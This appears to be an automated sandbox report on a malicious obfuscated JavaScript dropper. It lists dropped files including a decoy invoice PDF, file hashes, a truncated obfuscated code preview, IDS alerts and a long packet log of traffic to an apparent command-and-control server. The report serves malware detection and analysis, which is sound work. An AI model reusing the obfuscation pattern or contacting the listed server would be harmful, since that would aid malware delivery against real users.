).3.B..{"4...!r....v+As...Zn.]K{.8[..M.r.Y..........+%...]...J}f]~}_..K....;.Z.[..V.&..g...>...{F..{I..@~.^.\|P..G.R>....U..../HY...(.z.<.~.9OW.Sxo.Y

C:\Users\user\AppData\Local\Temp\invoice.pdf

Download File

Process:	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
File Type:	PDF document, version 1.7
Category:	dropped
Size (bytes):	635764
Entropy (8bit):	7.929592005409041
Encrypted:	false
SSDEEP:	12288:+ZLfaHa9wphzjERQ/JTckor+EURE+AwAX75pfGJKsKca+e7lEjYQ:+ZyjgQRRor+lRJAwAXlpoKgQ76jYQ
MD5:	91A2AF9E2A61ABF7D9977999FBF9879E
SHA1:	F6E4FA02DD15B27F74553FB1B220A4D2DF385267
SHA-256:	FC3518D746CDB3738DA976551795B9727619F41F89AC0641533126E2F69B969A
SHA-512:	8B27CC0E0E902ABB59735FF4FC67789C0F0F9A1BF3F619A7AFAEAAA13A9AFCF9C82F25596719A65EC15221EBAE16EF9701CDB48F372BBF1BE08CB568DBE41D7C
Malicious:	true
Preview:	%PDF-1.7.%.....1 0 obj.<< /Pages 3 0 R /Type /Catalog >>.endobj.2 0 obj.<< /Type /ObjStm /Length 56 /Filter /FlateDecode /N 1 /First 4 >>.stream.x.3V0.Q.w./.+Q0T...L)V.V0Q0P.R.U...,HU..HLO-V.....%0.mendstream.endobj.4 0 obj.<< /Contents 5 0 R /Group << /CS /DeviceRGB /I true /S /Transparency /Type /Group >> /MediaBox [ 0 0 594.96 840.96 ] /Parent 3 0 R /Resources 6 0 R /StructParents 0 /Type /Page >>.endobj.5 0 obj.<< /Filter /FlateDecode /Length 75 >>.stream.x.3T0.B]C aab.gi....U.e...E........\ E..&@yC.:.l.B.W.B!P9D..~...K>W ...&...endstream.endobj.6 0 obj.<< /ExtGState << /a0 << /CA 1 /ca 1 >> >> /XObject << /x7 7 0 R >> >>.endobj.7 0 obj.<< /BBox [ 0 0 595 841 ] /Filter /FlateDecode /Resources 8 0 R /Subtype /Form /Type /XObject /Length 59 >>.stream.x.+..T(..O/6PH/.*.2.4.4S0.B]......H...O..S.04Tp....B.....endstream.endobj.8 0 obj.<< /ExtGState << /a0 << /CA 1 /ca 1 >> /gs0 << /BM /Normal /CA 1.0 /SMask /None /ca 1.0 >> >> /XObject << /x11 9 0 R >> >>.endobj.9 0 obj.<< /BitsPerCo

C:\Windows\ServiceProfiles\LocalService\AppData\Local\FontCache\Fonts\Download-1.tmp

Download File

Process:	C:\Windows\System32\svchost.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	55
Entropy (8bit):	4.306461250274409
Encrypted:	false
SSDEEP:	3:YDQRWu83XfAw2fHbY:YMRl83Xt2f7Y
MD5:	DCA83F08D448911A14C22EBCACC5AD57
SHA1:	91270525521B7FE0D986DB19747F47D34B6318AD
SHA-256:	2B4B2D4A06044AD0BD2AE3287CFCBECD90B959FEB2F503AC258D7C0A235D6FE9
SHA-512:	96F3A02DC4AE302A30A376FC7082002065C7A35ECB74573DE66254EFD701E8FD9E9D867A2C8ABEB4C482738291B715D4965A0D2412663FDF1EE6CBC0BA9FBACA
Malicious:	false
Preview:	{"fontSetUri":"fontset-2017-04.json","baseUri":"fonts"}

Static File Info

General

File type:	ASCII text, with very long lines (14082), with CRLF line terminators
Entropy (8bit):	4.912192377960542
TrID:
File name:	620128062590131002.js
File size:	17'614 bytes
MD5:	170a702a6275962ceae1bc9e6fcdd47b
SHA1:	d3f07162f6b4fb57074779f725fd359c42f70039
SHA256:	b2013978cc9ba829ab97ed249f765be75ecd55621bc9d128fee3e8c794c95219
SHA512:	28db1c278b37294431b2c97ab02161bed2d58ac456f93b1db2f88a661a5f45e8536afea54c138da5d3a88e897046d8115da4aef3f442818c81c75e001450929a
SSDEEP:	192:7ebZZFp8qs9xcTIp6B/xSwpc8JISGzBWXH4oupZ5T3XVWydKdCud8IafvRnNypap:e9p8qcogNZ5TXVWOGCSQ3b0FgGs
TLSH:	7C8223644F05552EEFF021E9B0C2A87264CC46CD165ED9AB7CA3BA8C0276F7524D63F2
File Content Preview:	function piexojvu(){lwbsdnrrs=[1031,3079,5127,4103,2055,3072];var pmyhgqe=this[nmomhvefs+gtvett+ksrys+hmrmni+gyxyoafpf+dtezfv+plsziz+vvrig](this[xmdkswjjp+wisxgo+ycihezv+ksrys+fgjoappw+nmomhvefs+vvrig][mkcmrg+ksrys+gyxyoafpf+gtvett+vvrig+gyxyoafpf+aozcbjr

File Icon


Icon Hash:	68d69b8bb6aa9a86

Network Behavior

Suricata IDS Alerts

Timestamp	SID	Signature	Severity	Source IP	Source Port	Dest IP	Dest Port	Protocol
2025-01-10T19:01:54.547468+0100	1810000	Joe Security ANOMALY Windows PowerShell HTTP activity	2	192.168.2.4	49730	193.143.1.205	80	TCP
2025-01-10T19:01:57.006495+0100	1810005	Joe Security ANOMALY Microsoft Office WebDAV Discovery	1	192.168.2.4	49731	193.143.1.205	8888	TCP

Network Port Distribution

TCP Packets

Timestamp	Source Port	Dest Port	Source IP	Dest IP
Jan 10, 2025 19:01:53.560538054 CET	49730	80	192.168.2.4	193.143.1.205
Jan 10, 2025 19:01:53.565484047 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 19:01:53.565563917 CET	49730	80	192.168.2.4	193.143.1.205
Jan 10, 2025 19:01:53.568609953 CET	49730	80	192.168.2.4	193.143.1.205
Jan 10, 2025 19:01:53.573410988 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 19:01:54.547228098 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 19:01:54.547405958 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 19:01:54.547420025 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 19:01:54.547430992 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 19:01:54.547444105 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 19:01:54.547456026 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 19:01:54.547467947 CET	49730	80	192.168.2.4	193.143.1.205
Jan 10, 2025 19:01:54.547561884 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 19:01:54.547583103 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 19:01:54.547596931 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 19:01:54.547609091 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 19:01:54.547671080 CET	49730	80	192.168.2.4	193.143.1.205
Jan 10, 2025 19:01:54.547671080 CET	49730	80	192.168.2.4	193.143.1.205
Jan 10, 2025 19:01:54.547671080 CET	49730	80	192.168.2.4	193.143.1.205
Jan 10, 2025 19:01:54.547671080 CET	49730	80	192.168.2.4	193.143.1.205
Jan 10, 2025 19:01:54.586292028 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 19:01:54.586306095 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 19:01:54.586317062 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 19:01:54.586400032 CET	49730	80	192.168.2.4	193.143.1.205
Jan 10, 2025 19:01:54.667843103 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 19:01:54.667860031 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 19:01:54.667870998 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 19:01:54.667917013 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 19:01:54.667929888 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 19:01:54.668097973 CET	49730	80	192.168.2.4	193.143.1.205
Jan 10, 2025 19:01:54.668097973 CET	49730	80	192.168.2.4	193.143.1.205
Jan 10, 2025 19:01:54.668229103 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 19:01:54.668288946 CET	49730	80	192.168.2.4	193.143.1.205
Jan 10, 2025 19:01:54.668466091 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 19:01:54.668478012 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 19:01:54.668488979 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 19:01:54.668498039 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 19:01:54.668539047 CET	49730	80	192.168.2.4	193.143.1.205
Jan 10, 2025 19:01:54.668570042 CET	49730	80	192.168.2.4	193.143.1.205
Jan 10, 2025 19:01:54.668962002 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 19:01:54.668973923 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 19:01:54.668984890 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 19:01:54.669014931 CET	49730	80	192.168.2.4	193.143.1.205
Jan 10, 2025 19:01:54.669019938 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 19:01:54.669032097 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 19:01:54.669073105 CET	49730	80	192.168.2.4	193.143.1.205
Jan 10, 2025 19:01:54.669653893 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 19:01:54.669676065 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 19:01:54.669688940 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 19:01:54.669698000 CET	49730	80	192.168.2.4	193.143.1.205
Jan 10, 2025 19:01:54.669730902 CET	49730	80	192.168.2.4	193.143.1.205
Jan 10, 2025 19:01:54.669745922 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 19:01:54.670303106 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 19:01:54.670312881 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 19:01:54.670346022 CET	49730	80	192.168.2.4	193.143.1.205
Jan 10, 2025 19:01:54.672825098 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 19:01:54.672846079 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 19:01:54.672884941 CET	49730	80	192.168.2.4	193.143.1.205
Jan 10, 2025 19:01:54.672967911 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 19:01:54.673013926 CET	49730	80	192.168.2.4	193.143.1.205
Jan 10, 2025 19:01:54.673018932 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 19:01:54.706639051 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 19:01:54.706651926 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 19:01:54.706697941 CET	49730	80	192.168.2.4	193.143.1.205
Jan 10, 2025 19:01:54.755480051 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 19:01:54.755495071 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 19:01:54.755565882 CET	49730	80	192.168.2.4	193.143.1.205
Jan 10, 2025 19:01:54.790178061 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 19:01:54.790210962 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 19:01:54.790222883 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 19:01:54.790260077 CET	49730	80	192.168.2.4	193.143.1.205
Jan 10, 2025 19:01:54.790297031 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 19:01:54.790308952 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 19:01:54.790322065 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 19:01:54.790338039 CET	49730	80	192.168.2.4	193.143.1.205
Jan 10, 2025 19:01:54.790359974 CET	49730	80	192.168.2.4	193.143.1.205
Jan 10, 2025 19:01:54.790422916 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 19:01:54.790438890 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 19:01:54.790448904 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 19:01:54.790462971 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 19:01:54.790476084 CET	49730	80	192.168.2.4	193.143.1.205
Jan 10, 2025 19:01:54.790492058 CET	49730	80	192.168.2.4	193.143.1.205
Jan 10, 2025 19:01:54.790535927 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 19:01:54.790638924 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 19:01:54.790678024 CET	49730	80	192.168.2.4	193.143.1.205
Jan 10, 2025 19:01:54.790689945 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 19:01:54.790704012 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 19:01:54.790740013 CET	49730	80	192.168.2.4	193.143.1.205
Jan 10, 2025 19:01:54.790836096 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 19:01:54.790848017 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 19:01:54.790858984 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 19:01:54.790890932 CET	49730	80	192.168.2.4	193.143.1.205
Jan 10, 2025 19:01:54.791074038 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 19:01:54.791115046 CET	49730	80	192.168.2.4	193.143.1.205
Jan 10, 2025 19:01:54.791136026 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 19:01:54.791148901 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 19:01:54.791201115 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 19:01:54.791208982 CET	49730	80	192.168.2.4	193.143.1.205
Jan 10, 2025 19:01:54.791213989 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 19:01:54.791258097 CET	49730	80	192.168.2.4	193.143.1.205
Jan 10, 2025 19:01:54.791291952 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 19:01:54.791305065 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 19:01:54.791321993 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 19:01:54.791335106 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 19:01:54.791342974 CET	49730	80	192.168.2.4	193.143.1.205
Jan 10, 2025 19:01:54.791373968 CET	49730	80	192.168.2.4	193.143.1.205
Jan 10, 2025 19:01:54.791815996 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 19:01:54.791860104 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 19:01:54.791872025 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 19:01:54.791897058 CET	49730	80	192.168.2.4	193.143.1.205
Jan 10, 2025 19:01:54.791929007 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 19:01:54.791943073 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 19:01:54.791970968 CET	49730	80	192.168.2.4	193.143.1.205
Jan 10, 2025 19:01:54.792010069 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 19:01:54.792022943 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 19:01:54.792032957 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 19:01:54.792047024 CET	49730	80	192.168.2.4	193.143.1.205
Jan 10, 2025 19:01:54.792073965 CET	49730	80	192.168.2.4	193.143.1.205
Jan 10, 2025 19:01:54.792463064 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 19:01:54.792474031 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 19:01:54.792504072 CET	49730	80	192.168.2.4	193.143.1.205
Jan 10, 2025 19:01:54.792531013 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 19:01:54.792572021 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 19:01:54.792582989 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 19:01:54.792613983 CET	49730	80	192.168.2.4	193.143.1.205
Jan 10, 2025 19:01:54.792644978 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 19:01:54.792659044 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 19:01:54.792670012 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 19:01:54.792686939 CET	49730	80	192.168.2.4	193.143.1.205
Jan 10, 2025 19:01:54.792705059 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 19:01:54.792709112 CET	49730	80	192.168.2.4	193.143.1.205
Jan 10, 2025 19:01:54.792717934 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 19:01:54.792762041 CET	49730	80	192.168.2.4	193.143.1.205
Jan 10, 2025 19:01:54.843141079 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 19:01:54.843163967 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 19:01:54.843175888 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 19:01:54.843192101 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 19:01:54.843204021 CET	49730	80	192.168.2.4	193.143.1.205
Jan 10, 2025 19:01:54.843230009 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 19:01:54.843235970 CET	49730	80	192.168.2.4	193.143.1.205
Jan 10, 2025 19:01:54.877597094 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 19:01:54.877629042 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 19:01:54.877648115 CET	49730	80	192.168.2.4	193.143.1.205
Jan 10, 2025 19:01:54.911818981 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 19:01:54.911834955 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 19:01:54.911845922 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 19:01:54.911895037 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 19:01:54.911906004 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 19:01:54.911916971 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 19:01:54.911930084 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 19:01:54.912044048 CET	49730	80	192.168.2.4	193.143.1.205
Jan 10, 2025 19:01:54.912044048 CET	49730	80	192.168.2.4	193.143.1.205
Jan 10, 2025 19:01:54.912049055 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 19:01:54.912061930 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 19:01:54.912085056 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 19:01:54.912118912 CET	49730	80	192.168.2.4	193.143.1.205
Jan 10, 2025 19:01:54.912133932 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 19:01:54.912143946 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 19:01:54.912158012 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 19:01:54.912178993 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 19:01:54.912179947 CET	49730	80	192.168.2.4	193.143.1.205
Jan 10, 2025 19:01:54.912190914 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 19:01:54.912201881 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 19:01:54.912218094 CET	49730	80	192.168.2.4	193.143.1.205
Jan 10, 2025 19:01:54.912241936 CET	49730	80	192.168.2.4	193.143.1.205
Jan 10, 2025 19:01:54.912286997 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 19:01:54.912300110 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 19:01:54.912331104 CET	49730	80	192.168.2.4	193.143.1.205
Jan 10, 2025 19:01:54.912465096 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 19:01:54.912476063 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 19:01:54.912487030 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 19:01:54.912511110 CET	49730	80	192.168.2.4	193.143.1.205
Jan 10, 2025 19:01:54.912539959 CET	49730	80	192.168.2.4	193.143.1.205
Jan 10, 2025 19:01:54.912540913 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 19:01:54.912554979 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 19:01:54.912591934 CET	49730	80	192.168.2.4	193.143.1.205
Jan 10, 2025 19:01:54.912724972 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 19:01:54.912736893 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 19:01:54.912749052 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 19:01:54.912786961 CET	49730	80	192.168.2.4	193.143.1.205
Jan 10, 2025 19:01:54.912827969 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 19:01:54.912838936 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 19:01:54.912849903 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 19:01:54.912863016 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 19:01:54.912869930 CET	49730	80	192.168.2.4	193.143.1.205
Jan 10, 2025 19:01:54.912906885 CET	49730	80	192.168.2.4	193.143.1.205
Jan 10, 2025 19:01:54.912945032 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 19:01:54.912957907 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 19:01:54.912970066 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 19:01:54.912990093 CET	49730	80	192.168.2.4	193.143.1.205
Jan 10, 2025 19:01:54.913016081 CET	49730	80	192.168.2.4	193.143.1.205
Jan 10, 2025 19:01:54.913100958 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 19:01:54.913171053 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 19:01:54.913182974 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 19:01:54.913193941 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 19:01:54.913204908 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 19:01:54.913211107 CET	49730	80	192.168.2.4	193.143.1.205
Jan 10, 2025 19:01:54.913218021 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 19:01:54.913233995 CET	49730	80	192.168.2.4	193.143.1.205
Jan 10, 2025 19:01:54.913265944 CET	49730	80	192.168.2.4	193.143.1.205
Jan 10, 2025 19:01:54.913650990 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 19:01:54.913661957 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 19:01:54.913674116 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 19:01:54.913703918 CET	49730	80	192.168.2.4	193.143.1.205
Jan 10, 2025 19:01:54.913746119 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 19:01:54.913758039 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 19:01:54.913817883 CET	49730	80	192.168.2.4	193.143.1.205
Jan 10, 2025 19:01:54.913887024 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 19:01:54.913898945 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 19:01:54.913909912 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 19:01:54.913919926 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 19:01:54.913933039 CET	49730	80	192.168.2.4	193.143.1.205
Jan 10, 2025 19:01:54.913971901 CET	49730	80	192.168.2.4	193.143.1.205
Jan 10, 2025 19:01:54.914083958 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 19:01:54.914119005 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 19:01:54.914127111 CET	49730	80	192.168.2.4	193.143.1.205
Jan 10, 2025 19:01:54.914132118 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 19:01:54.914174080 CET	49730	80	192.168.2.4	193.143.1.205
Jan 10, 2025 19:01:54.914259911 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 19:01:54.914271116 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 19:01:54.914283037 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 19:01:54.914294004 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 19:01:54.914304972 CET	49730	80	192.168.2.4	193.143.1.205
Jan 10, 2025 19:01:54.914340973 CET	49730	80	192.168.2.4	193.143.1.205
Jan 10, 2025 19:01:54.914463043 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 19:01:54.914474964 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 19:01:54.914485931 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 19:01:54.914496899 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 19:01:54.914509058 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 19:01:54.914520979 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 19:01:54.914530039 CET	49730	80	192.168.2.4	193.143.1.205
Jan 10, 2025 19:01:54.914531946 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 19:01:54.914568901 CET	49730	80	192.168.2.4	193.143.1.205
Jan 10, 2025 19:01:54.916870117 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 19:01:54.916938066 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 19:01:54.916950941 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 19:01:54.916960955 CET	49730	80	192.168.2.4	193.143.1.205
Jan 10, 2025 19:01:54.916968107 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 19:01:54.916980028 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 19:01:54.917001963 CET	49730	80	192.168.2.4	193.143.1.205
Jan 10, 2025 19:01:54.917021990 CET	49730	80	192.168.2.4	193.143.1.205
Jan 10, 2025 19:01:54.929502964 CET	49730	80	192.168.2.4	193.143.1.205
Jan 10, 2025 19:01:54.930728912 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 19:01:54.930740118 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 19:01:54.930752039 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 19:01:54.930778027 CET	49730	80	192.168.2.4	193.143.1.205
Jan 10, 2025 19:01:54.930807114 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 19:01:54.930819035 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 19:01:54.930849075 CET	49730	80	192.168.2.4	193.143.1.205
Jan 10, 2025 19:01:54.930876970 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 19:01:54.930888891 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 19:01:54.930898905 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 19:01:54.930915117 CET	49730	80	192.168.2.4	193.143.1.205
Jan 10, 2025 19:01:54.930939913 CET	49730	80	192.168.2.4	193.143.1.205
Jan 10, 2025 19:01:54.966778040 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 19:01:54.966790915 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 19:01:54.966803074 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 19:01:54.966818094 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 19:01:54.966830015 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 19:01:54.966891050 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 19:01:54.966975927 CET	49730	80	192.168.2.4	193.143.1.205
Jan 10, 2025 19:01:54.966975927 CET	49730	80	192.168.2.4	193.143.1.205
Jan 10, 2025 19:01:54.966975927 CET	49730	80	192.168.2.4	193.143.1.205
Jan 10, 2025 19:01:55.008822918 CET	49730	80	192.168.2.4	193.143.1.205
Jan 10, 2025 19:01:55.008838892 CET	49730	80	192.168.2.4	193.143.1.205
Jan 10, 2025 19:01:55.018254995 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 19:01:55.018269062 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 19:01:55.018287897 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 19:01:55.018299103 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 19:01:55.018311024 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 19:01:55.018322945 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 19:01:55.018330097 CET	49730	80	192.168.2.4	193.143.1.205
Jan 10, 2025 19:01:55.018387079 CET	49730	80	192.168.2.4	193.143.1.205
Jan 10, 2025 19:01:55.018390894 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 19:01:55.018404961 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 19:01:55.018415928 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 19:01:55.018429041 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 19:01:55.018450975 CET	49730	80	192.168.2.4	193.143.1.205
Jan 10, 2025 19:01:55.018477917 CET	49730	80	192.168.2.4	193.143.1.205
Jan 10, 2025 19:01:55.018560886 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 19:01:55.018573046 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 19:01:55.018584013 CET	80	49730	193.143.1.205	192.168.2.4
